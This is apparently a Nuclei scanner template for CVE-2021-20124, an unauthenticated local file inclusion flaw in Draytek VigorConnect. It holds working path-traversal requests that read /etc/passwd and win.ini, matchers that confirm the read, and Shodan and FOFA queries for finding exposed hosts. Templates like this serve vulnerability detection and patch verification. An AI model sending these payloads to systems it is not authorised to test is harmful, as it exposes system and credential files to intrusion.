id: CVE-2021-20124

info:
  name: Draytek VigorConnect 6.0-B3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, potential data leakage, and further compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Draytek to fix the LFI vulnerability in VigorConnect 6.0-B3.
  reference:
    - https://www.tenable.com/security/research/tra-2021-42
    - https://www.draytek.com/products/vigorconnect/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20124
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20124
    cwe-id: CWE-22
    epss-score: 0.69248
    epss-percentile: 0.99271
    cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draytek
    product: vigorconnect
    shodan-query:
      - http.html:"VigorConnect"
      - http.html:"vigorconnect"
    fofa-query: body="vigorconnect"
  tags: cve2021,cve,draytek,lfi,vigorconnect,tenable,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd"
      - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203faa335e5ee711be557368fd5e8a69bed6b6eead5a7699491b9e667c1a1c0259022100fa7ed1ff050af24f0fedb93f4289c06b75c046d7eb224dc6f65f9ef219d999c6:922c64590222798bb761d5b6d8e72950